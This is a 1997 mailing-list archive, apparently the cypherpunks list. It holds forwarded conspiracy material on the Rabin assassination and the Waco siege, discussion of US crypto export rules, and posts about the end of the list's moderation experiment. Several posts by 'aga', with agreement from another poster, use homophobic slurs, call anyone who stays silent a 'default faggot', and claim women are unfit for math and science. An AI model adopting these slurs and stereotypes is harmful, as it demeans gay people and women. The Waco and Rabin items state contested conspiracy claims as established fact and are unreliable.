but this time the formation was different. Amir- At the rally when I got into Rabin's range, a hole opened up for me, I walked around someone and came in from the side. I always wanted to kill Rabin but I didn't believe that I'd ever have room to push my hand right to him. But that's what happened in this case. When I walked towards him I saw a gap open and I shot him in the back. In round one, Amir admits to murdering Rabin but has planted deep suspicions that he had help from Rubin and other Shabak agents. He stops just short of saying he couldn't have done it without their help. Of course, the judges didn't see it that way. But any other objective observor would ask why Rabin wasn't wearing a bulletproof vest if warnings against his life were received, why the bodyguards changed their regular formation that night and how did they allow the gap to open which permitted Amir an unhampered shot at the prime minister? end -------------------------------------------- Sent by Barry Chamish - Israeli journalist. Phone/Fax : (972)-2-9914936 E-Mail : chamish at netmedia.net.il ************************************************************ The Konformist is interested in accepting articles, opinions, free subscriptions, and advertising. E-mail us at Robalini at aol.com, or call (310) 967-4195. The Konformist is a subsidiary of Sterling Operation Solutions, the trouble-shooting problem-solvers for all business needs. We charge on a sliding scale based on the difficulty (and legality) of the proposed solution. Call (310) 967-4195 for further information. Hey kids, don't forget to enter the "Rockin' To Armageddon Sweepstakes", sponsored by The Konformist, the Official Internet Investigative Journal of the 1997 Academy Awards. (Okay, it's not official, but we're anti-authority anyways.) Right down the day, month, year, and time of the end of the world, and, as a tie-breaker, your nominee for the anti-Christ. The winner will receive a t-shirt stating, "I CameClosest To Predicting The Apocalypse, And All I Got Was This Crummy T-Shirt." You will also receive a free one year supply of Twix candy bars. Also, this is a free magazine, but we'll still take your money if you want. Please send cash, check, money orders, and credit card numbers (Visa, Master Card, American Express, or Discover) to: Robert Sterling Post Office Box 24825 Los Angeles, California 90024-0825 ************************************************************ Rob's Place A SITE IS DEDICATED TO SPIRIT, TRUTH, PEACE, JUSTICE, AND FREEDOM http://www.vom.com/rc/home.htm Robalini's Note: This is another Rob. I have no interest in spirit, truth, peace, justice, and/or freedom. I do have an interest in making money. From Robalini at aol.com Fri Feb 14 14:11:50 1997 From: Robalini at aol.com (Robalini at aol.com) Date: Fri, 14 Feb 1997 14:11:50 -0800 (PST) Subject: The Konformist: News From Waco Message-ID: <199702142211.OAA15795@toad.com> Note: Either you requested to receive a subscription to this e-mail, or someone else recommended you to be placed on this list. If you are interested in a free subscription, please e-mail Robalini at aol.com with the subject: I NEED TO KONFORM. (Okay, you can use something else, but it's a cool catch phrase.) Please e-mail me back with subject: CANCEL KONFORMIST if you're not interested in receiving this. Thanks, Robert Sterling. ITEM ONE Date: Sat, 08 Feb, 1997 09:21 PM EDT From: paul watson Rob, Ken is a fellow who had a Dish company south of Dallas and recorded all the network uplink for the whole Waco affair. His tapes were used By Linda Thompson.. Paul Date: Sat, 8 Feb 1997 12:08:05, -0500 From: MR KEN FAWCETT If no child died on Feb.28- when was the ATF attack? Clearly, Koresh, Snyder, and others conveyed information that children had indeed been injured and or killed. The physical evidence is overwhelming. But there remains a question in my mind to this day as to whether the ATF had actually assaulted the place on Feb. 27. Sound crazy? It came from ATF commander Ted Royster's mouth first. In his first press briefing, on Sunday afternoon, Feb. 28, he began (reading from a prepared statement), "Yesterday's action, I mean today, er. uh it seems like yesterday...." There is much to question about how it would be possible for TV newsmen acting on their own without sattelite-link support, could remain at the site of a two and a half hour "gun battle" that began at approximately 10 AM for the duration, slowly walk out (nearly 2 miles), and have an edited tape of the raid ready to show on Dallas TV at 11:30 AM. Several things about the big lie don't add up! Ken ITEM TWO From: Liberty or Death Subject: Waco Film >Subject: Review this review of "WACO: The Rules of Engagement" >Date: Wednesday, January 29, 1997 1:03AM > >FOR IMMEDIATE RELEASE > >WACO: The Rules of Engagement > >Executive Producer Dan Gifford introduces his new documentary, "Waco: >The Rules of Engagement", which premiered at the Sundance Film Festival, by >saying words to the effect that "This movie is about looking under rocks >and finding what we never wanted to know." The result is an extremely >disturbing film that should be required viewing for all Americans. "Waco" >is a damning indictment of the BATF, the FBI, and the Congressional >hearings which allegedly investigated the disaster in which four ATF agents >and 76 Branch Davidians were killed. > >Gifford and co-executive director Deborah Sommer-Gifford were inspired >to make the film when they were presented with aerial "Forward Looking >Infra-Red" (FLIR) footage taken by FBI surveillance. The FLIR film >provides answers to many of the previously unanswered questions about Waco. >According to Gifford, this film footage had been offered to the major news >networks and was rejected. > >The heart and mind of the film come from the never-before released >FLIR footage and home videos made by the Branch Davidians with a >camera given to them by the FBI. Accompanying them is extensive news >footage of the events at Waco, C-SPAN tapes of the Congressional hearings, >transcripts of conversations between the Davidians and negotiators and >interviews with various experts and key participants >in the disaster. > >The FLIR photography was taken by FBI planes flying over the Davidian >compound to provide surveillance. The film, which looks like ordinary >black and white film, actually measures heat, not light, and is thus >able to provide a great deal of information about weapons fire as well >as the inferno that destroyed the complex. Interpretation of the film >is provided by an independent company. The FLIR footage shows conclusively >that the FBI did fire on the Davidians despite their claims that "not a >single bullet was ever fired" and that the catastrophic fire was started by >the FBI firing grenades into the building after refilling it with the >deadly and flammable CS powder-methylene chloride mixture. It also provides >strong evidence that the FBI stationed personnel with machine guns outside >the only exit from the building, which if true, indicates that the FBI's >intent was to murder the Davidians, not to "rescue hostages". > >The FBI gave the Davidians a video camera and tapes to make videos of >themselves, presumably to help the negotiators understand them better. >These videos were never released because the FBI feared it would generate >too much sympathy for the Davidians and David Koresh. And in fact, the >video does refute the widely-publicized image of Koresh as a crazed, >charismatic and controlling leader, not unlike Charles Manson, and of his >followers as the "wackos from Waco". > >While Koresh was certainly not your "average American", he appears >rational, intelligent, and committed to teaching his religious beliefs. His >followers seem to be ordinary people on a spiritual quest, no different >from many I've encountered in my own spiritual seeking. >They did not appear to be brainwashed automatons, or homicidal maniacs. >Many were foreigners and ironically felt they would be safer studying >religion in the United States. While sexual practices outside the norm did >occur, they were consensual. I saw no evidence of child abuse whatever. >Clearly the FBI, aided by the media, demonized the Branch Davidians in an >attempt to dehumanize them. And dehumanization of the enemy is one of the >prerequisites for genocide. > >Given that the Congressional committee charged with investigating Waco >had access to all the material presented in this film, the >investigation can only be considered a farce and a travesty. With >rare exceptions, the hearings are shown to be nothing more than a >compilation of lies and perjury combined with a lot of self-serving >political grandstanding. What does stand out, and what gives the >film its name, is that neither the ATF nor the FBI ever had a detailed, >organized plan of attack, that there were never any formal rules of >engagement, and that no contingency plans for failure of the raids, >injuries, fire, or other foreseeable problems were ever made. > >While some have commented that the film appears biased against the >government, all the involved agencies were invited to participate, to >be interviewed, and to present their side of the story. They all refused. > And the producers are careful to state that they have no partisan agenda, >that their goal is to reopen debate on Waco. They >appear almost apologetic about the damaging evidence they have collected >and state they wish someone could or would disprove their findings. And >they emphatically do not wish to be associated with "right wing conspiracy >nuts". > >It is of course impossible to do justice to a nearly three hour film >in a review. Despite its length, I found it compelling and not at all >boring or dragging. Technically, the visuals are mostly dependent on the >quality of the archival film, although the sound levels could use some >work. The musical score was dramatic and quite effective. The film >includes views of the charred and mutilated bodies of some who died at >Waco, which I found appropriate, but may be too graphic for some. > >YOU need to see "Waco: The Rules of Engagement." So does every >American of every political persuasion. For the past four years, "Remember >Waco" has been a rallying cry for the "political right" >and gun owners. In response, they have been laughed at, dismissed, >and even accused of being anti-government terrorists. What this film shows >is human beings being methodically gassed and then burned. >Anyone and everyone who has ever vowed "Never again" needs to >view this film and renew that vow. > >This is absolutely not a film to celebrate. There is now evidence >that people within our government are guilty of genocide and crimes against >humanity and that they engaged in a huge cover-up. This >should sadden and sicken each of us, and it should also motivate us >to find ways to prevent such a tragedy from occurring ever again. >If we do not, we become accessories to these crimes. > >"Waco" has not yet been accepted for commercial release, although >negotiations are underway. If you want to see this film, if you feel >others should see this film, then you will have to act. Write to >Sundance and thank them for making this film available. (When you consider >who holds the power at Sundance, it IS rather remarkable >that "Waco" was shown.) Encourage them to support its general >release. If you have contacts with any film distribution companies, >ask them to distribute this film. Write letters to the editors of >newspapers and magazines. Tell everyone you know. If there is a >demand, if it appears profitable to distribute this documentary, Hollywood >will most likely cooperate. > >Remember that this is NOT about partisan politics, Right vs. Left, >gun rights, or other divisive issues. It is about our unalienable >Constitutional rights to religious freedom, freedom from unreasonable >search and seizure, and above all the freedom not to be murdered by >our own government. > >As the Talmud commands: "Thou shalt not stand idly by the blood of thy >brother." > >Further information is available at http://www.waco93.com > >c 1997, Sarah Thompson, M.D. >Permission to reprint granted as long as no changes are made and full >attribution is given. > >Sarah Thompson, M.D. >The Righter > >PO Box 271231 >Salt Lake City, UT 84127-1231 >(801) 966-0257 - voice >(801) 966-7278 - voice/fax >righter at therighter.com > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Liberty's Educational Advocacy Forum, Indiana-FIJA, Inc. > Url: http://www.iquest.net/~rjtavel/ > ************************* > Not a high-tech law firm brochure. > Dr. Tavel's Self Help Clinic and Sovereign Law Library > promotes "action that raises the cost of state violence > for its perpetrators (and) that lays the basis for > institutional change " -- Noam Chomsky > For Liberty in Our Lifetime, R.J. Tavel, J.D. - - Monte ------------------------------------------------------------------------- >>> Don't Tread On Me! <<< - ------------------------------------------------------------------------- * Psalm 33 * ------------------------------------------------------------------------- "If ye love wealth greater than liberty, the tranquility of servitude greater than the animating contest for freedom, go home from us in peace. We seek not your counsel, nor your arms. Crouch down and lick the hand that feeds you. May your chains set lightly upon you; and may posterity forget that ye were our countrymen." - Samuel Adams ************************************************************ The Konformist is interested in accepting articles, opinions, free subscriptions, and advertising. E-mail us at Robalini at aol.com, or call (310) 967-4195. The Konformist is a subsidiary of Sterling Operation Solutions, the trouble-shooting problem-solvers for all business needs. We charge on a sliding scale based on the difficulty (and legality) of the proposed solution. Call (310) 967-4195 for further information. Hey kids, don't forget to enter the "Rockin' To Armageddon Sweepstakes", sponsored by The Konformist, the Official Internet Investigative Journal of the 1997 Academy Awards. (Okay, it's not official, but we're anti-authority anyways.) Right down the day, month, year, and time of the end of the world, and, as a tie-breaker, your nominee for the anti-Christ. The winner will receive a t-shirt stating, "I CameClosest To Predicting The Apocalypse, And All I Got Was This Crummy T-Shirt." You will also receive a free one year supply of Twix candy bars. Also, this is a free magazine, but we'll still take your money if you want. Please send cash, check, money orders, and credit card numbers (Visa, Master Card, American Express, or Discover) to: Robert Sterling Post Office Box 24825 Los Angeles, California 90024-0825 ************************************************************ Rob's Place A SITE IS DEDICATED TO SPIRIT, TRUTH, PEACE, JUSTICE, AND FREEDOM http://www.vom.com/rc/home.htm Robalini's Note: This is another Rob. I have no interest in spirit, truth, peace, justice, and/or freedom. I do have an interest in making money. From declan at well.com Fri Feb 14 14:18:44 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 14 Feb 1997 14:18:44 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com> Message-ID: Mike sheds more heat than light on the issue. Gilmore does not always represent the EFF; not every action of his is an EFF action. As for the "rift," may observers said at the time that DT was a Jerry Berman "appeasement and capitulation" scheme. Note Berman no longer works at EFF. Note EFF is no lnoger in DC. And yes, I've read Tim May's essay on his EFF membership. I probably would have had the same reaction. -Declan On Fri, 14 Feb 1997, Mike Duvos wrote: > John Gilmore writes: > > [Fluffy Gilmore apologia by Declan expunged] > > Two small points. > > 1. The rift between Gilmore/EFF and Cypherpunks is hardly > of recent origin, and dates back to when the EFF first > demonstrated to horrified Cypherpunks that its policy > would be one of appeasement and capitulation towards > clearly unacceptable legislation. This is all in the > archives, including Tim May's essay on why he chose not > to renew his EFF membership. > > 2. The article fails to mention Gilmore's new nickname. :) > > -- > Mike Duvos $ PGP 2.6 Public Key available $ > mpd at netcom.com $ via Finger. $ > > > From aga at dhp.com Fri Feb 14 14:27:22 1997 From: aga at dhp.com (aga) Date: Fri, 14 Feb 1997 14:27:22 -0800 (PST) Subject: The END of censorous queers/was:Moderation experiment * over In-Reply-To: <855947489.1029218.0@fatmans.demon.co.uk> Message-ID: On Fri, 14 Feb 1997 paul at fatmans.demon.co.uk wrote: > Date: Fri, 14 Feb 1997 19:02:19 +0000 > From: paul at fatmans.demon.co.uk > To: aga > Cc: cypherpunks at toad.com, ichudov at algebra.com, dlv at bwalk.dm.com, > Freedom Knights , > alt.cypherpunks at news.demon.net, alt.cypherpunks.social at news.demon.net > Subject: Re: Moderation experiment almost over; "put up or shut up" > > > > > Again, MY definition of a "bigot" is the correct one which is > > most understood by modern people. > > > > A "bigot" is a racist, period. > > I would have to differ with you there Dr. Grubor, although I think > the term Bigot being applied critically to your opinions is > inappropriate. > Let us distinguish between the denotation an connotation of the word. The later, being the more modern definition is more appropriate. Webster's definition of bigotry is at least 75 years old. > > > I see nothing that limits bigotry to racial intolerance. > > > > > > > You are a fool then. Religion and sexism and groups all have nothing > > to do with bigotry. A bigot is a racist, period. That is TODAY'S > > correct definition of the term, and I am a lot more current than > > Webster. Any anybody who has a "religion" and "prays" is a fool. > > The only god you will ever find is within yourself. > > I do not begin to believe this is correct. I happen to believe that > sexism, not in the sense of believing women inferior but in the sense > of believing homosexuals inferior can be, in some instances, a form > of bigotry but it is merely a matter of semantics and not of > interest. > > I wholeheartedly agree with the last point, anybody who believes in > any form of deity or higher being (call it god if you like) is, IMHO, > a fool. However, this has proven in history to be contradicted on a > number of occasions, for example, Albert Einstein was a Jew but did > not just accept without enquiry, rather, his religious views were > subtle and well thought through. This is, of course, the exception > not the rule, and 99.9999% of all religious people are fools. > > > > > > It is very logical and wise to discriminate on the basis of sex. > > Here I can agree, I personally discriminate on the basis of sex, not > in that I believe women inferior to men but rather that I believe > each sex better suited to different tasks and vocations. Exactly. I know very few good female engineers, but I know a few good config gals. Females are just not meant for math and science. > That is not, however, to say that I believe women should be prevented > from taking up lines of work that men traditionally hold. > They are free to do so, but as in the example you give later > I would feel uncomfortable having my car serviced by a woman. > > > > Most would disagree, and decide based on that and other statements you > > > have made that you must be an extremely unpleasant person. > > > > > > > See, there you go again, attacking the person, instead of the > > argument. You lose points for that. Sexism is GOOD and right and > > justified. I want a woman cutting my hair, and a man fixing my car, > > and I demand the correct sex for ALL activities. > > Exactly, the poster has failed to recognise that you have every right > to discrimate as you do and are justified in doing so. They are > probably either homosexual and feel threatened or they are censorous > and feel they must protect people from being "defamed" etc... > > > > If you want to fight censorship effectively, going around telling > > > people "You're a shit-eating faggot you fucking cock-sucking homo > > > censor" in public forums is not going to win you many points. > > > > Look sonny, I am not out to win any points. I have two Doctorates and > > 22 years of experience. I speak with authority and only to those who > > have the intelligence to understand. I was a perfect 4.00 in > > College, and am probably the most intelligent body-politic analyst in > > the world. Now let's face it: Faggots are BAD news. They are most > > always censors! And that is the truth you can never get around. > > I agree, I have no prejudice against homosexuals. Rather I have > formulated a low opinion of them as a group due to their censorous > behaviour. I think it is because they feel threatened by straight > people. > Indeed. And it is because of this "threat" that they always feel that they are so much into a clique and they are so apt to censor the slightest alleged "homophobic" discourse. > > > Datacomms Technologies web authoring and data security > Paul Bradley, Paul at fatmans.demon.co.uk > Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org > Http://www.cryptography.home.ml.org/ > Email for PGP public key, ID: 5BBFAEB1 > "Don`t forget to mount a scratch monkey" > From aga at dhp.com Fri Feb 14 14:32:15 1997 From: aga at dhp.com (aga) Date: Fri, 14 Feb 1997 14:32:15 -0800 (PST) Subject: A "Default Faggot"/ was:Dale disses gays. In-Reply-To: <199702141945.MAA00019@earth.wazoo.com> Message-ID: On Fri, 14 Feb 1997, Anonymous wrote: > Date: Fri, 14 Feb 1997 12:45:07 -0700 > From: Anonymous > Reply-To: freedom-knights at jetcafe.org > To: freedom-knights at jetcafe.org > Subject: Re: Dale disses gays. > > aga writes: > > > Now just who is thisa guy? -- who keeps posting under > > "nobody" at the cajones remailer? Anybody have him/her > > tagged yet for the real person? > > Probably multiple people. It's just an anonymous remailer. > > > ... > > I don't know. It has always been easy for me to spot a faggot. I > > mean, I can even tell by their voice if they are queer. > > Well, those of us who happen to know Gilmore is straight are not very > impressed with your accuracy. > Well, I never talked to Gilmore, but I will tell you this: I have never seen him come outright and say "I am straight and not gay." So until he says that, he is a default faggot. The default faggots are the worst kind. If a guy would just say "o.k., I am gay," I can respect him and drop the subject. It is the ones who refuse to admit they are gay that bug me the most. From aga at dhp.com Fri Feb 14 14:45:14 1997 From: aga at dhp.com (aga) Date: Fri, 14 Feb 1997 14:45:14 -0800 (PST) Subject: Dave Hayes takes over Cypherpunks In-Reply-To: <199702142029.MAA01055@kachina.jetcafe.org> Message-ID: Now finally we can have a heterosexual cypherpunks list. On Fri, 14 Feb 1997, Dave Hayes wrote: > Date: Fri, 14 Feb 1997 12:29:41 -0800 > From: Dave Hayes > Reply-To: freedom-knights at jetcafe.org > To: freedom-knights at jetcafe.org, cypherpunks at toad.com > Subject: Re: Moderation experiment almost over; "put up or shut up" > > Ok. I'll "put up". > > If the cypherpunks will have me, -I'll- run the cypherpunks > list. Those that know me know that I will *not* censor, moderate, or > otherwise alter the content (other than the stuff majordomo does with > "resend") of any messages to the list. > ------ > Dave Hayes - Altadena CA, USA - dave at jetcafe.org > Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet > > Advice is priceless; when it becomes interference it is preposterous. > How about that we require everybody to state their sex and sexual orientation in the future, so we have no future problems. I am a "Male Heterosexual" -- what about the rest of you? If you refuse to answer, you are presumed to be a gay boy who is hiding it. From vin at shore.net Fri Feb 14 15:03:43 1997 From: vin at shore.net (Vin McLellan) Date: Fri, 14 Feb 1997 15:03:43 -0800 (PST) Subject: crypto restrictions Message-ID: <199702142303.SAA01016@relay1.shore.net> Anand Abhyankar asked: >1) is it illegal to develop an encryption tool (s/w) outside the US >which uses > 40 bit size session keys and then import that s/w inside of >the US. > >anand.... Hi Anand, Nope! Unless there are export controls in India, your wizards in Bombay or Dehli (pardon, I forget) can offer their US customers the full and unrestricted product of their creativity and genius in algorithms, crypto implementations, and/or crypto protocols. There are no restrictions on encryption software being _imported_ into the US, nor are there (at the moment ) any legal (as opposed to patent or copyright) restrictions on any encryption software of any strength being _used_ in the US. For that matter, there are no restrictions on encrypted data being transmitted across the US border. And (while it may require a license, apparently an exemption for the product, as opposed to a sales-by-sale license) there are seemingly no -- or at least less -- restrictions on the use of specialized encryption products (within the US) which can generate a "self-decrypting" secure packet which can be transmitted (cross-border, outside the US) and opened, anywhere, by a recipient who has been provided with a password/key out of band. That is how RSA's SecurPC has been able to offer full 128-bit RC4 encryption to secure US-to-Anywhere international file transfers. (As with DES, the US Govt is apparently trying to control the export of a full implementation package -- not the international distribution of a widely-known algorithm, per se. As I understand it, the self-decrypting PCSecure packet does not contain the user interface which allows automatic encryption, the interface can only decrypt. The RC4 algorithm, of course, has to be included in the transmission, and it is inherently reversible -- only the user interface is "crippled" to restrict its use to encrypt. Corrections welcome, if I don't have this exactly right.) The international traffic in self-decrypting "128-bit" products is separate and distinct from the issues involved in the recent modifications of the US export regs, which allow vendors to get approval to export a 56-bit secret-key encryption product (eg. RC4, RC5, or DES) only if the vendor submits a concrete plan, and schedule of implementation, to redesign their (export) product to require key-escrow or trusted-party key-recovery/storage. (In addition whatever recovery key is required by corporate backup policies, this is also, obviously, a mechanism for GAK, "government access to keys" --under US law, hopefully with a court warrant -- and/or whatever backup/key-recovery/GAK-access mechanism might be required various other nations in which those products will be imported, used, or transhipped from.) And with those GAK-adapted implementations, the US govt. will then approve, for the first time, general export of robust 128-bit secret-key products... as they reportedly have for Open Market's SSL, and TIS and Digital crypto products. I hope this is helpful, Suerte, _Vin From vin at shore.net Fri Feb 14 15:19:42 1997 From: vin at shore.net (Vin McLellan) Date: Fri, 14 Feb 1997 15:19:42 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702142317.SAA04571@relay1.shore.net> Tim May asked: >And was my article the kind of "sludge of spam" and "contentless >name-calling" you thought the Moderation experiment was all about? No. It definitely was not. >And what of the four or five of my posts a week ago which never made it to >either the Main list or the Flames list? The contained no "sludge of spam" >nor "contentless name-calling." What they dealt with was a claim (like this >one) that some posts were not being passed on to either of the two lists, >and that perhaps a conflict of interest was developing. > >Does this still match your "understanding of Sandy's effort"? Sadly, no. _Vin From jya at pipeline.com Fri Feb 14 15:26:11 1997 From: jya at pipeline.com (John Young) Date: Fri, 14 Feb 1997 15:26:11 -0800 (PST) Subject: USACM analysis of Commerce Dept crypto export proposals Message-ID: <199702142326.PAA16953@toad.com> Thanks for forwarding the USACM analysis. We've put it at: http://jya.com/usacm.htm We'd welcome those submitted by cypherpunks or others, for putting on jya.com. It will be some time before BXA publishes them along with the Final Rule, and, there's worldwide interest in the US's foot-shooting. From nobody at wazoo.com Fri Feb 14 15:26:13 1997 From: nobody at wazoo.com (Anonymous) Date: Fri, 14 Feb 1997 15:26:13 -0800 (PST) Subject: Dale disses gays. Message-ID: <199702142326.PAA16954@toad.com> aga writes: > Now just who is thisa guy? -- who keeps posting under > "nobody" at the cajones remailer? Anybody have him/her > tagged yet for the real person? Probably multiple people. It's just an anonymous remailer. > ... > I don't know. It has always been easy for me to spot a faggot. I > mean, I can even tell by their voice if they are queer. Well, those of us who happen to know Gilmore is straight are not very impressed with your accuracy. From shommel at zoo.uvm.edu Fri Feb 14 15:26:39 1997 From: shommel at zoo.uvm.edu (Scott A. Hommel) Date: Fri, 14 Feb 1997 15:26:39 -0800 (PST) Subject: No Subject Message-ID: <199702142326.PAA16968@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Is it legal or illegal to send a PGP encrypted message from the US to someone in another country? -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwSrJdaX0pKkbeJ9AQG1ogQAloERqECRmAgHAOPq1LwTrWXMw9/E2c0C Q8TqlVuc6pmW+L+DmTrMb0eZdSTJ00A4Fa4j1390UJEncA1X+zHMNMY9CmUJgDKZ ROWNiD8tHiIQYJBH2400WYxKsFPb2mX31SJFc4gK0hQtturtzNXWjOGtowqes6MU kp3/vpeFXZ4= =pLXe -----END PGP SIGNATURE----- ********************************* Scott A. Hommel President, New Paradigm Design, Inc. PGP key available at: http://paradigm-2.com/scott.html ********************************* From mpd at netcom.com Fri Feb 14 15:27:06 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 14 Feb 1997 15:27:06 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702142327.PAA16974@toad.com> Michael Froomkin writes: > Just for the record. I will not post to USENET given the spamming that > seems to go to IDs that appear there. Helpful hint: Mung your email address in a way which will confuse bots, but not humans. "From: froomkin@[NO-SPAM]law.miami.edu" should work nicely. This will also eliminate mail from very clueless people. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From jmb at frb.gov Fri Feb 14 15:28:12 1997 From: jmb at frb.gov (Jonathan M. Bresler) Date: Fri, 14 Feb 1997 15:28:12 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702142328.PAA17030@toad.com> > Well, if you can't deliver mail because their mailbox is full, then >you should simply wait a few days before trying to deliver mail to that >address. If it's because the address isn't there any more, you should delete >it from the subscription lists. Otherwise, the instant people's mail quotas >overflow (e.g., they're on AOL and they haven't been able to get through the >clogged lines), they get bounced... or you're left with a lot of invalid >addresses. The address causing the bounce is not necessarily determinable >automatically from the bounce message; if it isn't, then you need to keep a >copy around for a human to look at. who should bear the burden of dealing with bounces? the list admin or the owner of the bouncing address? if you have the time and desire, you can accomodate people that bounce mail due to a temporarily full mailbox. if not, unsubscribe them after N bounces in a 24 hour period. it becomes their responsibility not to bounce more than N emails. when a list has 1000's of subscribers, i have not have been able to provide the type of personal service that the first option entails. i do make a digest version of every list available. if the digest bounces, the bouncer??? bouncee?? stays below the N bounces threshhold (for many values of N :). jmb From minow at apple.com Fri Feb 14 15:28:18 1997 From: minow at apple.com (Martin Minow) Date: Fri, 14 Feb 1997 15:28:18 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702142328.PAA17039@toad.com> My first reaction to the "Death of Cypherpunks" (Declan McCullagh's article in http://netlynews.com Feb 12, 1997) is that it is another example of "The Tragedy of the Commons." -- the (unsolvable) problem of unlimited access to a limited resource. Cypherpunks was also susceptable to the strange Internet phenomenon where people could be proud of their anti-social, bad behavior (flame wars, "grafitti" in the form of spam). For this reason, I suspect that the future of the Internet in general, and Cyphperpunks in particular, will require serious editorial control (as is done by the Risks and Privacy digests). The only other alternative I can see would be to limit membership -- but not limit what members might write. In the long term, I suppose we'll have sufficiently intelligent software agents that can recognize spam and flaming and invisibly delete them from our e-mail in-boxes. What bothers me more than anything else about the "solutions" I've seen proposed to the death of Cypherpunks is that they rely on technology -- and reject human judgement -- to solve what is, in reality, a social problem. (One can certainly make the same argument about the V-chip, browser porn filters, and similar hacks.) Having been "on" the net for over 15 years -- and with experience in both ends of the censorship/moderation problem (I'm probably the only Cypherpunks member to have had a book "banned in Boston"), I'm sorry that a handful of sociopaths managed to destroy this experiment in anarchy, but I suspect that this was inevitable. Martin Minow minow at apple.com ps: (From McCullagh): > But for the true believers in crypto-anarchy, only one solution is > adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no > precedent... for halting distribution of Usenet newsgroups," Tim May > wrote. That, in the end, is what defines a cypherpunk. > Nope: alt.cypherpunks will not be distributed to many sites that would accept an e-mail list. Also, it's too easy for the disgruntled to forge cancel group messages. I'm afraid that human judgement is still required. From tcmay at got.net Fri Feb 14 15:28:26 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 14 Feb 1997 15:28:26 -0800 (PST) Subject: More on digital postage Message-ID: <199702142328.PAA17058@toad.com> At 3:31 AM -0800 2/14/97, John C. Randolph wrote: >Tim may says: > >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut >>violations of the First Amendment. I understand why the herd _wants_ these >>laws, as it reduces the costs involved in replacing fax paper, running to >>the telephone only to find someone trying to sell something, etc., but it >>is quite clearly a prior restraint on speech, however well-intentioned. > >I have to disagree here. The junk fax law is a restraint on unauthorised >use of property, i.e. *my* fax machine, *my* phone, etc. > >That tort of unauthorised use of property applies, whether someone's sending >me a fax to sell me spamming software, or whether it's some kid ringing >my doorbell and running away. It's not the speech that I'm fighting, it's >the misuse of my property. > >Freedom of speech does not confer a right to use other people's property. Fair enough, John. I can agree that _tort law_ (civil) might be used. If Party A can convince a jury that Party B did it real damage and can quantify that damage, maybe Party A can collect. My main objection is to to blanket laws, known as "junk mail" laws. The rules for what constitutes "junk" are unclear and give the government regulatory power which I think it should not have. Imagine a bureaucrat deciding that solicitations to join the National Rifle Association are "junk" and ordering the U.S. Postal Service to scrap all such solicitations. Imagine further that alternate delivery systems, such as UPS and FedEx are also notified that delivery of NRA material constitute a crime. (This is not so far-fetched, especially the "alternate delivery" point. If the regulators declare a communication to be junk, it remains junk even if delivered via a different route. If CyberPromotions tries fiddling with the domain names, as they have, it remains junk to CompuServe and to the District Court which upholds their decision to censor mail to customers.) To paraphrase what the CompuServe customer said: "I'll decide what's junk and what's not." --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From paul at fatmans.demon.co.uk Fri Feb 14 15:41:14 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 15:41:14 -0800 (PST) Subject: Message-ID: <199702142341.PAA17356@toad.com> > Is it legal or illegal to send a > PGP encrypted message from the US to someone in another country? Yes. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From jer+ at andrew.cmu.edu Fri Feb 14 15:41:20 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Fri, 14 Feb 1997 15:41:20 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702142341.PAA17371@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Adam Back writes: > What does `crusty' mean as applied to a former Intel engineer? Try definition 2 Word crusty (KRUHS'tee) adj. Definition --adj. -ier, -iest. 1. Like or having a crust. 2. Surly or brusk. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwS3m8kz/YzIV3P5AQHNJgL+NtjXkx/EHmx9vXm9ucwmonam+2sXRwHB 4bCrz3SM9pk4VbcPhYjx+PRzmX3j9mvesPkkAXaYiUcnFUBmmF35YvIZnTxornfy kE30sVsW4juawhXGRIAWJ/5Ce9lBLPdp =bB+u -----END PGP SIGNATURE----- From dave at kachina.jetcafe.org Fri Feb 14 15:41:24 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Fri, 14 Feb 1997 15:41:24 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702142341.PAA17388@toad.com> Ok. I'll "put up". If the cypherpunks will have me, -I'll- run the cypherpunks list. Those that know me know that I will *not* censor, moderate, or otherwise alter the content (other than the stuff majordomo does with "resend") of any messages to the list. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Advice is priceless; when it becomes interference it is preposterous. From jer+ at andrew.cmu.edu Fri Feb 14 15:41:30 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Fri, 14 Feb 1997 15:41:30 -0800 (PST) Subject: Fuck UseNet Message-ID: <199702142341.PAA17396@toad.com> 